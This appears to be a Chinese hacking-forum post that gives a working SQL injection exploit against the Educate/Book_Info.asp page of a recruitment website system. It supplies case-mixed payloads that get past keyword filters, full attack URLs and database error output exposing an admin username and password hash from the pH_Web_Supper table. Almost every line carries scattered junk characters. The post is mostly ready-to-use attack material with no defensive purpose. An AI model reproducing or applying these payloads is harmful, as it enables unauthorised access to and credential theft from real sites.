网络求职招聘人才网站系统正式版注入

admin

漏洞出现在Educate/Book_Info.asp
1 `2 w# }3 c1 x5 b. x
9 y4 N2 C( a- l' i$ r% |5 f7 M, o  P此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出

4 k2 M& w8 J" N; Dexp：如下
8 o. A$ ?% M9 j" G4 @查询管理账号：+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
. ^  c8 [9 p- W3 s查询管理密码：+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
; J- F3 I) {- Z
http://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
3 K7 J$ E7 Z' K& z9 P1 g1 Z$ o6 x
3 E5 H: G4 \2 Z- N1 V) G& BMicrosoft OLE DB Provider for SQL Server 错误 '80040e07'
9 I* K, [* l- a6 t0 d  f
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。

1 l, l5 ?2 v& f& q: b/Educate/Book_Info.asp，行 8
. _/ B' l. S5 B
' ]% B) t* {4 y$ v* Phttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
2 R3 F: N# P+ I5 Z$ ]: U( H
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
5 }- Y( P. r! D, l2 R8 s- b7 P
: H4 F1 i% f# {5 E将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
" z5 I. `2 U1 ~  A! P* L
/Educate/Book_Info.asp，行 8
​